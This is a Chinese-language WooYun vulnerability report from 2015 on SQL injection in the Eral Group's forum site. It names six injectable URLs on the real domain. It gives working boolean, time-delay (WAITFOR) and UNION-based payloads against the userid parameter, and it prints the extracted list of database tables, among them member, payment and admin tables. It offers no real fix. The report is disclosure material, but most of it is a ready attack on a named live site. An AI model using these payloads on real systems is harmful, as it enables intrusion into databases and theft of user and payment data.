漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0101145
漏洞标题：艾莱依集团官网SQL注射（可导致脱裤）
相关厂商：艾莱依集团
漏洞作者： 路人甲
提交时间：2015-03-16 12:40
修复时间：2015-04-30 18:48
公开时间：2015-04-30 18:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
艾莱依集团官网存在多处SQL注射，可导致数据库重要信息泄露
详细说明：
sql注入点
http://bbs.eral.com.cn/space/ispace_friend.php?userid=181603
http://bbs.eral.com.cn/space/ispace_active.php?userid=181603
http://bbs.eral.com.cn/space/ispace.php?userid=181603
http://bbs.eral.com.cn/space/ispace_group.php?userid=181603
http://bbs.eral.com.cn/space/ispace_album.php?userid=181603
http://bbs.eral.com.cn/space/ispace_active_vote.phpuserid=181603&id=2697&actid=6
漏洞证明：
Payload: userid=181603 AND 9321=9321
Payload: userid=181603;WAITFOR DELAY '0:0:5'--
Payload: userid=-3294 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(113)+CHAR(83)+CHAR(67)+CHAR(71)+CHAR(103)+CHAR(88)+CHAR(101)+CHAR(117)+CHAR(107)+CHAR(71)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
--------------------------+
| active_7_2 |
| dtproperties |
| show_mem |
| sysconstraints |
| syssegments |
| tbl_activity2_reply |
| tbl_activity2_vote |
| tbl_activity_winner |
| tbl_activity_winner |
| tbl_advertise |
| tbl_bbs_admin |
| tbl_bbs_admin |
| tbl_bbs_class1 |
| tbl_bbs_class2 |
| tbl_bbs_pic |
| tbl_bbs_reply |
| tbl_city |
| tbl_cjxx |
| tbl_config |
| tbl_delivery |
| tbl_emp_right |
| tbl_emp_right |
| tbl_gift |
| tbl_group_admin |
| tbl_group_admin |
| tbl_group_bbs_class |
| tbl_group_member |
| tbl_info |
| tbl_lottery_prize |
| tbl_lottery_set |
| tbl_lottery_winner |
| tbl_mb |
| tbl_mem_activity_article |
| tbl_mem_activity_article |
| tbl_mem_activity_pic |
| tbl_mem_album_pic |
| tbl_mem_album_pic |
| tbl_mem_daily |
| tbl_mem_friend |
| tbl_mem_gbook |
| tbl_mem_message |
| tbl_mem_visiter |
| tbl_mem_vote |
| tbl_member_2013 |
| tbl_member_2013 |
| tbl_member_draw |
| tbl_member_int |
| tbl_menu |
| tbl_news_class1 |
| tbl_news_class1 |
| tbl_news_class2 |
| tbl_order_item |
| tbl_order_item |
| tbl_payment |
| tbl_pic1 |
| tbl_pic1 |
| tbl_product_class1 |
| tbl_product_class1 |
| tbl_product_class2 |
| tbl_product_class3 |
| tbl_product_class4 |
| tbl_right |
| tbl_string |
| tbl_verify2 |
| tbl_verify_area |
| tbl_verify_area |
| tbl_verify_city |
| tbl_verify_dealer |
| v_MyGroup |
| v_bbs_admin |
| v_bbs_admin |
| v_bbs_pic |
| v_bbs_reply |
| v_group_admin |
| v_group_member |
| v_mb |
| v_mem_act_vote2 |
| v_mem_act_vote_test2 |
| v_mem_act_vote_test2 |
| v_mem_act_vote_test2 |
| v_mem_activity |
| v_mem_friend |
| v_mem_gbook |
| v_mem_message |
| v_mem_visiter |
| verify10_31 |
| verify12_13 |
| verify12_16 |
| verify12_27 |
| verify12_31 |
| verify2012_0113 |
| verify2012_0131 |
| eral.D99_Tmp |
| eral.pangolin_test_table |
+--------------------------+
修复方案：
自己看着办
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝